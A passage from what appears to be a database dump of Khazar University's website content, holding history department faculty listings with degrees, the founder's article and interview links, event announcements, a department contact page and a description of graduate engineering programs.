University), Azerbaijan)  </p><p style=\"padding-left:160px\">PhD in History&nbsp;(Azerbaijan State University (Baku State University), <br>&nbsp;Azerbaijan)  </p>\r\n<p><br></p>\r\n<hr>\r\n<img src=\"/files/history_depart/images/nasiman_yagublu.jpg\" style=\"border:0px  #000000;width: 150px; height: 100px; margin-left: 7px; margin-right: 7px; margin-bottom: 7px; float: left;\" \"=\"\"><p><strong><a href=\"http://www.khazar.org/files/history_depart/CV/nasiman_yagublu_cv_en.pdf\">Nasiman Yagublu</a>&nbsp;</strong></p><p>DS, Prof. in History&nbsp;(Baku State University, Azerbaijan)</p><p><br></p>\r\n<hr>\r\n<img src=\"/files/history_depart/images/habil_mammadov.jpg\" style=\"width:150px;height:209px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/history_depart/CV/habil_mammadov_cv.pdf\">Habil Memmedov</a>&nbsp;</strong></p><p>DS in History (Baku State University, School&nbsp;of&nbsp;History, Azerbaijan)</p><p>Postgraduate&nbsp;in History&nbsp;(Baku State University,&nbsp;School&nbsp;of&nbsp;History,&nbsp;Azerbaijan)  </p><p>BS in History&nbsp;and Publicity&nbsp;(Baku State University,&nbsp;School&nbsp;of&nbsp;History,&nbsp;Azerbaijan)  </p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/history_depart/images/telman_guliyev.jpg\" style=\"width:150px;height:103px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/history_depart/CV/telman_guliyev_cv_en.pdf\">Telman Guliyev</a>&nbsp;</strong></p><p>DS in History&nbsp;(Istanbul University, Institute of Social Sciences,&nbsp;Turkey)</p><p>MS in General Turkish History&nbsp;(Marmara University, Institute of Turkic Studies,&nbsp;Turkey)  </p><p style=\"padding-left:160px\">BS in Turkology   (Marmara University, Turkey)</p>\r\n<hr>\r\n<img src=\"/files/history_depart/images/araz_aslanli.jpg\" style=\"border:0px  #000000;width:150px;height:166px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/history_depart/CV/araz_aslanli_cv_en.pdf\">Araz Aslanli</a>&nbsp;</strong></p><p>PhD in International Relations  (Ankara University, Institute of Social Sciences, Turkey)  <br></p><p>MS in&nbsp;Business Administration and Political Science (Ankara University,&nbsp;Institute of&nbsp;Social Sciences, Turkey)   <br></p><p style=\"padding-left:160px\">BS in&nbsp;State Administration and Political Science (Hacettepe University, <br>&nbsp;Turkey)</p><p><br></p>\r\n<hr>\r\n<img src=\"/files/history_depart/images/ziyad_amrahov.jpg\" style=\"width:150px;height:198px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/history_depart/CV/ziyad_amrahov_cv_en.pdf\">Ziyad Amrahov</a></strong></p><p>PhD in History&nbsp;(Baku State University&nbsp;Azerbaijan)    </p><p>MS in History&nbsp;(Baku State University&nbsp;Azerbaijan)  </p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"/files/history_depart/images/ulviyya_ibrahimli.jpg\" style=\"width:150px;height:208px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/history_depart/CV/ulviyya_ibrahimli_cv_en.pdf\">Ulviyya Ibrahimli</a></strong><strong></strong></p><p>PhD in History&nbsp;(Azerbaijan State Pedagogical University)  </p><p>Postgraduate in History&nbsp;(Azerbaijan State Pedagogical University)</p><p><br></p>\r\n<p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/history_depart/images/khagan_balayev.jpg\" style=\"width:150px;height:169px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/history_depart/CV/khagan_balayev_cv.pdf\">Khagan Balayev</a></strong></p><p>PhD in&nbsp;Political Insinuations, Ethnic Conflicts, National and Political Processes&nbsp;(Azerbaijan&nbsp;National Academy of Sciences)</p><p>MS in&nbsp;New and Modern History of Azerbaijan&nbsp;(Baku State University,&nbsp;Azerbaijan)</p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/history_depart/images/orkhan_zamanov.jpg\" style=\"width:150px;height:140px;margin-left:7px;margin-right:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/history_depart/CV/orkhan_zamanov_cv_en.pdf\">Orkhan Zamanov</a>&nbsp;</strong></p><p>MS&nbsp;in History (Baku State University,&nbsp;Azerbaijan)</p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/history_depart/images/samira_garayeva.jpg\" style=\"width:150px;height:196px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/history_depart/CV/samira_garayeva_cv_en.pdf\">Samira Garayeva</a>&nbsp;</strong></p><p>MS in&nbsp;Theoretician (Azerbaijan State University of Art)</p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/history_depart/Baba%20Bayramli%20CV%20az.pdf\"><img src=\"/files/history_depart/images/baba_bayramli.jpg\" style=\"width:150px;height:145px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></a></strong><strong><a href=\"http://www.khazar.org/files/history_depart/CV/baba_bayramli_cv.pdf\">Baba Bayramli</a>&nbsp;</strong></p><p>PhD in&nbsp;Political Sciences (Khazar University, Azerbaijan)</p><p>MS in History&nbsp;(Baku State University,&nbsp;Azerbaijan)</p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"/files/history_depart/images/rukhsara_guliyeva.jpg\" style=\"width:150px;height:192px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/history_depart/CV/rukhsara_guliyeva_cv_en.pdf\">Rukhsara&nbsp;Guliyeva</a>&nbsp;</strong><strong style=\"font-weight:bold\"></strong></p><p>PhD in History (Azerbaijan National Academy&nbsp;of Sciences)</p><p>MS in History (Baku State University, Azerbaijan)</p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/history_depart/images/zahra_islamova.jpg\" style=\"width:150px;height:208px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/history_depart/CV/zahra_islamova_cv_en.pdf\">Zahra Islamova</a>&nbsp;</strong></p><p>PhD in History of Homeland (Baku State University, Azerbaijan)<br></p><p>MS&nbsp;in History  (Baku State University,&nbsp;Azerbaijan)  </p><p>BS&nbsp;in History  (Baku State University,&nbsp;Azerbaijan)  </p><p><br></p>\r\n<p><br></p>\r\n<hr>\r\n<p><img src=\"/files/history_depart/images/sabuhi_ahmadov.jpg\" style=\"width:150px;height:171px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/history_depart/CV/sabuhi_ahmadov_cv_en.pdf\">Sabuhi Ahmedov</a>&nbsp;</strong></p><p>Postgraduate in History (Azerbaijan National Academy&nbsp;of Sciences)</p><p>BS in History (Azerbaijani State Pedagogical University)</p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"http://www.khazar.org/files/history_depart/images/bayram_guliyev.png\" style=\"width:150px;height:179px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/history_depart/CV/bayram_guliyev_cv_en.pdf\">Bayram Guliyev</a>&nbsp;</strong><strong></strong></p><p>PhD in History of Homeland&nbsp;(Baku State University, Azerbaijan)  </p><p>MS in History&nbsp;(Baku State University,&nbsp; School of History,&nbsp;Azerbaijan)</p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<strong><a href=\"http://www.khazar.org/files/history_depart/CV-Sayad%20(1).pdf\"></a><p><a href=\"http://www.khazar.org/files/history_depart/CV-Sayad%20(1).pdf\"><img src=\"/files/history_depart/images/sayad_mehtizada.jpg\" style=\"width:150px;height:134px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/history_depart/CV/sayad_mehtizada_cv_en.pdf\">Sayad Mehtizade</a></strong></p></strong><p>MS in History&nbsp;(Baku State University, Azerbaijan)</p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/history_depart/CV/ziyad_amrahov_cv_en.pdf\"><img src=\"/files/history_depart/images/ziya_samedli.jpg\" style=\"width:150px;height:207px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Ziya&nbsp;Samadli</a></strong></p><p>PhD in Political Science&nbsp;(Baku Slavic University, Azerbaijan)</p><p><br></p><p><br></p><p><br></p><p><br></p>'),(3696,2161,'az','2012','2012',''),(3697,2161,'en','2012','2012',''),(3698,2162,'az','Məqalələr','Məqalələr','<p><a href=\"http://www.khazar.org/files/founder/articles/Az%C9%99rbaycan%C4%B1n%20rayonlar%C4%B1%20%C3%BC%C3%A7%C3%BCn%20b%C3%B6lg%C9%99%20kolleci%20kompleksinin%20yarad%C4%B1lmas%C4%B1.PDF\">Azərbaycanın rayonları üçün bölgə kolleci kompleksinin yaradılması</a></p><p><a href=\"http://www.khazar.org/files/founder/articles/C%C9%99nab%20kimdir--O%20Taylordur.%20New%20Baku%20Post.%2023.05.2012.pdf\">Cənab kimdir--O Taylordur. New Baku Post. 23.05.2012</a></p><p><a href=\"http://www.khazar.org/files/founder/articles/D%C3%BCnyan%C4%B1%20d%C9%99yi%C5%9Fdir%C9%99n%20qarajlar.%20New%20Baku%20Post%20.%2006.10.2012.pdf\">Dünyanı dəyişdirən qarajlar. New Baku Post. 06.10.2012</a><br></p><p><a href=\"http://www.khazar.org/files/founder/articles/%C4%B0cbari%20t%C9%99hsil%20ideyas%C4%B1---tarix%20v%C9%99%20bu%20g%C3%BCn%252c%20s%C9%99b%C9%99b%20v%C9%99%20n%C9%99tic%C9%99.%20Baku%20Post06.04.12.docx\">İcbari təhsil ideyası--tarix və bu gün, Səbəb və nəticə. Baku Post&nbsp;06.04.12</a>  <br></p><p><a href=\"http://www.khazar.org/files/founder/articles/%C4%B0%C5%9F%C4%B1%C4%9F%C4%B1n%20dastan%C4%B1--Baku%20Post.%2016.05.12.docx\">İşığın dastanı--Baku Post. 16.05.12</a><br></p><p><a href=\"http://www.khazar.org/files/founder/articles/K%C9%99p%C9%99n%C9%99yin%20yaratd%C4%B1%C4%9F%C4%B1%20xoas---Baku%20Post.%2019.05.12.docx\">Kəpənəyin yaratdığı xaos--Baku Post. 19.05.12</a><br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Lenin%20nec%C9%99%20olubsa...New%20Baku%20Post%2C%20X%C9%99z%C9%99r%20X%C9%99b%C9%99r%20iyul%202012.pdf\">Lenin necə olubsa...New Baku Post, Xəzər Xəbər iyul 2012</a>  <br></p><p><a href=\"http://www.khazar.org/files/founder/articles/M%C9%99nim%20tan%C4%B1d%C4%B1%C4%9F%C4%B1m%20Rza---2012.doc\">Mənim tanıdığım Rza--2012 </a> <br></p><p><a href=\"http://www.khazar.org/files/founder/articles/M%C3%BCraci%C9%99t%20formalar%C4%B1%20formalar%C4%B1.%20tarix%20v%C9%99%20bu%20g%C3%BCn.%20New%20Baku%20Post--11.08.2012.pdf\">Müraciət formaları. Tarix və bu gün. New Baku Post--11.08.2012</a>  <br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Q%C9%99rib%C9%99%20v%C9%99%20m%C3%BCr%C9%99kk%C9%99b%20d%C3%BCnya.%20Baku%20Post---20.04.12.docx\">Qəribə və mürəkkəb dünya. Baku Post--20.04.12</a><br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Tarihi%20hafiza%20ve%20insanlik%20aleyhine%20su%C3%A7lar.22.02.2012.pdf\">Tarihi hafiza ve insanlık aleyhine suçlar.&nbsp;22.02.2012</a><br></p><p><a href=\"http://www.khazar.org/files/founder/articles/T%C9%99hsild%C9%99%20keyfiyy%C9%99t%20konsepsiyas%C4%B1.doc\">Təhsildə keyfiyyət konsepsiyası.</a><br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Xeyriyy%C9%99%C3%A7ilik%20v%C9%99%20Q%C3%BCdr%C9%99t.%20New%20Baku%20Post.%2009.06.2012.pdf\">Xeyriyyəçilik və Qüdrət. New Baku Post. 09.06.2012</a><br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Y%C3%BCks%C9%99k%20riyazi%20m%C9%99d%C9%99niyy%C9%99t%20v%C9%99%20k%C3%BCbarl%C4%B1q%20t%C9%99c%C9%99ss%C3%BCm%C3%BC--X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20yanvar%202012.pdf\">Yüksək riyazi mədəniyyət və kübarlıq təcəssümü--Xəzər Xəbər. Yanvar 2012</a></p>'),(3699,2162,'en','Articles','Articles','<p><a href=\"http://www.khazar.org/files/founder/articles/Az%C9%99rbaycan%C4%B1n%20rayonlar%C4%B1%20%C3%BC%C3%A7%C3%BCn%20b%C3%B6lg%C9%99%20kolleci%20kompleksinin%20yarad%C4%B1lmas%C4%B1.PDF\">Azərbaycanın rayonları&nbsp;üçün bölgə kolleci kompleksinin yaradılması</a></p><p><a href=\"http://www.khazar.org/files/founder/articles/C%C9%99nab%20kimdir--O%20Taylordur.%20New%20Baku%20Post.%2023.05.2012.pdf\">Cənab kimdir--O Taylordur. New Baku Post. 23.05.2012</a></p><p><a href=\"http://www.khazar.org/files/founder/articles/D%C3%BCnyan%C4%B1%20d%C9%99yi%C5%9Fdir%C9%99n%20qarajlar.%20New%20Baku%20Post%20.%2006.10.2012.pdf\">Dünyanı dəyişdirən qarajlar. New Baku Post. 06.10.2012</a><br></p><p><a href=\"http://www.khazar.org/files/founder/articles/%C4%B0cbari%20t%C9%99hsil%20ideyas%C4%B1---tarix%20v%C9%99%20bu%20g%C3%BCn%252c%20s%C9%99b%C9%99b%20v%C9%99%20n%C9%99tic%C9%99.%20Baku%20Post06.04.12.docx\">İcbari təhsil ideyası--tarix və bu gün, Səbəb və nəticə. Baku Post&nbsp;06.04.12</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/founder/articles/%C4%B0%C5%9F%C4%B1%C4%9F%C4%B1n%20dastan%C4%B1--Baku%20Post.%2016.05.12.docx\">İşığın dastanı--Baku Post. 16.05.12</a><br></p><p><a href=\"http://www.khazar.org/files/founder/articles/K%C9%99p%C9%99n%C9%99yin%20yaratd%C4%B1%C4%9F%C4%B1%20xoas---Baku%20Post.%2019.05.12.docx\">Kəpənəyin yaratdığı xaos--Baku Post. 19.05.12</a><br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Lenin%20nec%C9%99%20olubsa...New%20Baku%20Post%2C%20X%C9%99z%C9%99r%20X%C9%99b%C9%99r%20iyul%202012.pdf\">Lenin necə olubsa...New Baku Post, Xəzər Xəbər iyul 2012</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/founder/articles/M%C9%99nim%20tan%C4%B1d%C4%B1%C4%9F%C4%B1m%20Rza---2012.doc\">Mənim tanıdığım&nbsp;Rza--2012&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/founder/articles/M%C3%BCraci%C9%99t%20formalar%C4%B1%20formalar%C4%B1.%20tarix%20v%C9%99%20bu%20g%C3%BCn.%20New%20Baku%20Post--11.08.2012.pdf\">Müraciət formaları. Tarix və bu gün. New Baku Post--11.08.2012</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Q%C9%99rib%C9%99%20v%C9%99%20m%C3%BCr%C9%99kk%C9%99b%20d%C3%BCnya.%20Baku%20Post---20.04.12.docx\">Qəribə və mürəkkəb dünya. Baku Post--20.04.12</a><br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Tarihi%20hafiza%20ve%20insanlik%20aleyhine%20su%C3%A7lar.22.02.2012.pdf\">Tarihi hafiza ve insanlık aleyhine suçlar.&nbsp;22.02.2012</a><br></p><p><a href=\"http://www.khazar.org/files/founder/articles/T%C9%99hsild%C9%99%20keyfiyy%C9%99t%20konsepsiyas%C4%B1.doc\">Təhsildə keyfiyyət konsepsiyası.</a><br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Xeyriyy%C9%99%C3%A7ilik%20v%C9%99%20Q%C3%BCdr%C9%99t.%20New%20Baku%20Post.%2009.06.2012.pdf\">Xeyriyyəçilik və Qüdrət. New Baku Post. 09.06.2012</a><br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Y%C3%BCks%C9%99k%20riyazi%20m%C9%99d%C9%99niyy%C9%99t%20v%C9%99%20k%C3%BCbarl%C4%B1q%20t%C9%99c%C9%99ss%C3%BCm%C3%BC--X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20yanvar%202012.pdf\">Yüksək riyazi mədəniyyət və kübarlıq təcəssümü--Xəzər Xəbər. Yanvar 2012</a></p>'),(3700,2163,'az','Mühazirələr','Mühazirələr',''),(3701,2163,'en','Lectures','Lectures',''),(3702,2164,'az','Müsahibələr','Müsahibələr','<p><a href=\"http://www.khazar.org/files/founder/interviews/%C2%AB%D0%9B%D0%AE%D0%91%D0%9B%D0%AE%20%D0%9B%D0%AE%D0%91%D0%98%D0%A2%D0%AC.%20%D0%9C%D0%9D%D0%95%20%D0%9D%D0%A0%D0%90%D0%92%D0%98%D0%A2%D0%A1%D0%AF%20%D0%9F%D0%95%D0%A0%D0%95%D0%96%D0%98%D0%92%D0%90%D0%A2%D0%AC%20%D0%AD%D0%A2%D0%9E%20%D0%A7%D0%A3%D0%92%D0%A1%D0%A2%D0%92%D0%9E%20%D0%92%D0%9D%D0%9E%D0%92%D0%AC%20%D0%98%20%D0%92%D0%9D%D0%9E%D0%92%D0%AC%C2%BB--X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20Fevral-Mart%202012.pdf\">«ЛЮБЛЮ ЛЮБИТЬ. МНЕ НРАВИТСЯ ПЕРЕЖИВАТЬ ЭТО ЧУВСТВО ВНОВЬ И ВНОВЬ»--Xəzər Xəbər. Fevral-Mart 2012</a></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Alim%20vicdan%C4%B1%2C%20%C5%9F%C3%B6hr%C9%99t%20v%C9%99%20talesizlik--New%20Baku%20Post.02.06.2012.pdf\">Alim vicdanı, şöhrət və talesizlik--New Baku Post.02.06.2012 </a> <br></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Asma%20Bah%C3%A7esinin%20qona%C4%9F%C4%B1%20Hamlet%20%C4%B0saxanl%C4%B1--X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20Noy%202012.pdf\">Asma Bahçesinin qonağı Hamlet İsaxanlı--Xəzər Xəbər. Noy 2012</a>  <br></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Az%C9%99rbaycanda%20r%C3%BC%C5%9Fv%C9%99tsiz%20universiteti%20nec%C9%99%20qurmaq%20olar.qafqaz.info--23.05.2012.pdf\">Azərbaycanda rüşvətsiz universiteti necə qurmaq olar.qafqaz.info--23.05.2012 </a> <br></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Din_menimcun%20medeniyyetdir)tesisci%20(1).docx\">Din mənim üçün mədəniyyətdir, kimlikdir, tarixdir. Cəmiyyət və Din qəzeti (N136-37). Dekabr-yanvar 2012 </a> <br></p>'),(3703,2164,'en','Interviews','Interviews','<p><a href=\"http://www.khazar.org/files/founder/interviews/%C2%AB%D0%9B%D0%AE%D0%91%D0%9B%D0%AE%20%D0%9B%D0%AE%D0%91%D0%98%D0%A2%D0%AC.%20%D0%9C%D0%9D%D0%95%20%D0%9D%D0%A0%D0%90%D0%92%D0%98%D0%A2%D0%A1%D0%AF%20%D0%9F%D0%95%D0%A0%D0%95%D0%96%D0%98%D0%92%D0%90%D0%A2%D0%AC%20%D0%AD%D0%A2%D0%9E%20%D0%A7%D0%A3%D0%92%D0%A1%D0%A2%D0%92%D0%9E%20%D0%92%D0%9D%D0%9E%D0%92%D0%AC%20%D0%98%20%D0%92%D0%9D%D0%9E%D0%92%D0%AC%C2%BB--X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20Fevral-Mart%202012.pdf\">«ЛЮБЛЮ ЛЮБИТЬ. МНЕ НРАВИТСЯ ПЕРЕЖИВАТЬ ЭТО ЧУВСТВО ВНОВЬ И ВНОВЬ»--Xəzər Xəbər. Fevral-Mart 2012</a></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Alim%20vicdan%C4%B1%2C%20%C5%9F%C3%B6hr%C9%99t%20v%C9%99%20talesizlik--New%20Baku%20Post.02.06.2012.pdf\">Alim vicdanı, şöhrət və talesizlik--New Baku Post.02.06.2012 </a> <br></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Asma%20Bah%C3%A7esinin%20qona%C4%9F%C4%B1%20Hamlet%20%C4%B0saxanl%C4%B1--X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20Noy%202012.pdf\">Asma Bahçesinin qonağı Hamlet İsaxanlı--Xəzər Xəbər. Noy 2012</a>  <br></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Az%C9%99rbaycanda%20r%C3%BC%C5%9Fv%C9%99tsiz%20universiteti%20nec%C9%99%20qurmaq%20olar.qafqaz.info--23.05.2012.pdf\">Azərbaycanda rüşvətsiz universiteti necə qurmaq olar.qafqaz.info--23.05.2012 </a> <br></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Din_menimcun%20medeniyyetdir)tesisci%20(1).docx\">Din mənim üçün mədəniyyətdir, kimlikdir, tarixdir. Cəmiyyət və Din qəzeti (N136-37). Dekabr-yanvar 2012 </a> <br></p>'),(3704,2165,'az','Haqqında Yazılanlar','Haqqında Yazılanlar','<p><a href=\"http://www.khazar.org/files/founder/about/%C6%8Fli%20Rza%20X%C9%99l%C9%99fli%20Hamlet%20%C4%B0saxanl%C4%B1%20haqq%C4%B1nda.pdf\">Əli Rza Xələfli Hamlet İsaxanlı haqqında</a></p>'),(3705,2165,'en','Publications about Halmet Isakhanli','Publications about Halmet Isakhanli',''),(6104,3480,'az','“Məmməd Araz poeziya günü” adlı tədbir keçiriləcək','2018-ci il oktyabrın 8-i saat 15:00-da Xəzər Universitetinin “Mərmər” zalında Məmməd Arazın 85 illik yubileyinə həsr olunmuş...','<p>2018-ci il oktyabrın 8-i saat 15:00-da Xəzər Universitetinin “Mərmər” zalında Məmməd Arazın 85 illik yubileyinə həsr olunmuş “Məmməd Araz poeziya günü” adlı tədbir keçiriləcək.</p><p>Maraqlananlar iştirak edə bilərlər.</p>'),(6105,3480,'en','An event “Mammad Araz Poetry Day” to be held','On October 8, 2018, at 15:00, an event “Mammad Araz Poetry Day”, dedicated to 85th jubilee of Mammad Araz...','<p>On October 8, 2018, at 15:00, an event “Mammad Araz Poetry Day”, dedicated to 85<sup>th</sup> jubilee of Mammad Araz, will be held in “Marble” hall of Khazar University.</p><p>All are welcome to participate.</p>'),(6206,3532,'az','KİM Humanitar və Sosial Elmlər fakültəsinin I kurs tələbələri üçün təlim keçirdi','2018-ci il oktyabrın 18-də Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzinin direktor müavini...','<p>2018-ci il oktyabrın 18-də Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzinin direktor müavini Aytac Misgərli və Kataloqlaşdırma bölməsinin müdiri Samirə Orucova Humanitar və Sosial Elmlər fakültəsinin I kurs tələbələri üçün “Kitabxana-İnformasiya Mərkəzindən istifadə qaydaları” adlı təlim keçirdi.</p><p>Təlimdə tələbələrə “Kitabxanadan istifadə qaydalar”,” Oxucu hesabının açılması”, “Elektron kataloq”, “Elektron arxiv”, “ Elektron məlumat bazaları” haqqında ətraflı məlumat verildi.</p>'),(396,244,'az','Proqramlar','Proqramlar','<p>Departament tarix fənni üzrə tələbə proqramı təklif edir.</p><p><a href=\"http://www.khazar.org/files/history_depart/2018%20yaz%20sayt%20ucun%20ders%20yuku.pdf\">Tarix fənni üzrə bakalavr proqramı</a></p>'),(398,245,'az','Əlaqə','Əlaqə','<p><strong><br></strong></p><img src=\"/files/history_depart/SNV10204.JPG\" style=\"width:150px;height:200px;margin:7px;float:left\"><p><strong>Roza Arazova</strong> -&nbsp;Tarix və Arxeologiya departamentinin müdiri</p><p>Email: <a href=\"http://mailto:rarazova@khazar.org\">rarazova@khazar.org&nbsp;</a></p><p><strong>Tel:</strong>&nbsp;(+99412) 4217916, (+99412) 4211093 (219)</p><p>Xəzər Universiteti (Neftçilər korpusu)</p><p>41 Məhsəti k. AZ 1096</p><p>Bakı, Azərbaycan</p>'),(399,245,'en','Contact','Contact','<p><strong><br></strong></p><img src=\"/files/history_depart/SNV10204.JPG\" style=\"width:150px;height:200px;margin:7px;float:left\"><p><strong>Roza Arazova</strong>&nbsp;- Head of&nbsp;Department of History and Archaeology</p><p><strong>Email: </strong><a href=\"http://mailto:rarazova@khazar.org\">rarazova@khazar.org</a></p><p><strong>Phone:</strong>&nbsp;(+99412) 4217916, (+99412) 4211093 (219)</p><p>Khazar University (Neftchilar Campus)</p><p>41 Mehseti Str. AZ 1096</p>\r\n<p>Baku, Azerbaijan</p>'),(400,246,'en','News','','<h2>30.04.2014 -&nbsp;Mathematics Month at Dunya School</h2><p>April was celebrated as mathematics month at Dunya School.\r\nDuring this month, a number of events and competitions were held.\r\nDoctor&nbsp;of Philosophy in Mathematical Sciences, Professor Hamlet\r\nIsaxanli,&nbsp; the founder of Khazar University and the Dunya School as well\r\nas Chairman of the Board of Directors and Trustees of the university, was\r\ninvited to the event which was held on the last day of the month, April 30,\r\nwith the participation of teachers and students.</p><p>At the event, students&nbsp;held a competition covering mathematics\r\nand physics questions. The very active \"Eureka\" team won the\r\ncompetition. Team members were awarded with certificates and prizes.</p><p>The winners of the school-wide competition held on April 26\r\nalso received their awards at the event.</p>\r\n<p>Certificates of gratitude were given to 12 schoolchildren\r\nwho successfully represented the school at the April 23 Children\'s Day event at\r\nBilkent University Primary and Secondary School in Ankara, Turkey.</p>\r\nOne of the students brought mailbag of letters\r\nto H. Isaxanli, who responded to the questions addressed to him. At the request\r\nof the students, he also spoke about interesting aspects of mathematics.\r\n&nbsp;Nailakhanim Isayeva, advisor to the Chairman of the Board of Directors\r\nand Trustees of Khazar University, and Seymur&nbsp; Rzayev, Head of the\r\nDepartment of Mathematics of the university, also participated in the event.  <p><br></p>'),(401,191,'en','Graduate programs','','<div style=\"text-align:justify\"><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Graduate study is characterized by intellectual curiosity and the desire to contribute to human knowledge. It must be more than a mere continuation of undergraduate work and should be contemplated only by those students who have demonstrated in their earlier studies exceptional intellectual ability and the capacity for independent thought and investigation.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">The School of Engineering and Applied Sciences offers courses leading to the Master of Science (MS) and Doctor of Philosophy (Ph.D.) degrees. Graduate degree programs can be completed in one and a half or two academic years for MS degrees, and in three or four academic years for Ph.D.s.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">The School offers MS Degree Programs in Computer Science, Computer Engineering and Petroleum Engineering.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Students entering the MS program normally are expected to have completed the requirements for the BS degree. Normally the BS degree is required for admission to the MS program.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">The MS degree programs require 60&nbsp;graduate credits, including 12&nbsp;credits for the Master\'s thesis, and students must complete the major requirements with a G.P.A. of 75 or above.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">The School offers Ph.D. Degree Programs in Computer Science, Computer Engineering and&nbsp;Petroleum and Gas Engineering.&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">The Ph.D. programs are designed to prepare students for advanced study and research.&nbsp;Students entering the Ph.D. program normally are expected to have completed the requirements for the Master\'s degree and to have demonstrated creative ability. Normally the MS degree is required for admission to the Ph.D. program.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Each doctoral candidate must pass a final oral examination/defense of his/her dissertation and demonstrate wide knowledge of the major field as well as significance of the dissertation topic to his/her field of study.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p><h3>Master of Science (MS) Degree Program in Computer Science&nbsp;</h3><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">The MS degree program in Computer Science gives qualified students from various academic disciplines the opportunity for further education at the advanced level in Computer Science. In addition to meeting the minimum university requirements for graduate study, applicants must have adequate undergraduate preparation in computer science. Students entering the program without the appropriate background will be expected to take certain undergraduate courses as prerequisites.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></p><h3>Master of Science (MS) Degree Program in Computer Engineering&nbsp;</h3><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">The MS degree program in Computer Engineering gives qualified students from various academic disciplines the opportunity for further education at the advanced level in Computer Engineering. Graduate students may specialize in Computer Graphics, Multimedia Systems and other areas of Computer Engineering.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium;text-align:justify\">In addition to meeting the minimum university requirements for graduate study, applicants must have adequate undergraduate preparation in computer science. Students entering the program without the appropriate background will be expected to take certain undergraduate courses as prerequisites.</p><h4><br></h4><h3 style=\"text-align:left\">Master of Science&nbsp;(MS) Degree Program in&nbsp;Petroleum&nbsp;Engineering</h3><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Graduate studies in Petroleum Engineering prepare the engineer to assume responsibility within the oil and gas industry. The graduate petroleum engineer can expect to be challenged quickly and in areas of strong potential for personal and professional growth. Candidates with superior skills and the desire to progress within the industry can expect to be successful. The School of Engineering and Applied Science prepares students at the advanced level and with the technical skills required to meet those challenges.</p><p style=\"font-family:arial, helvetica, 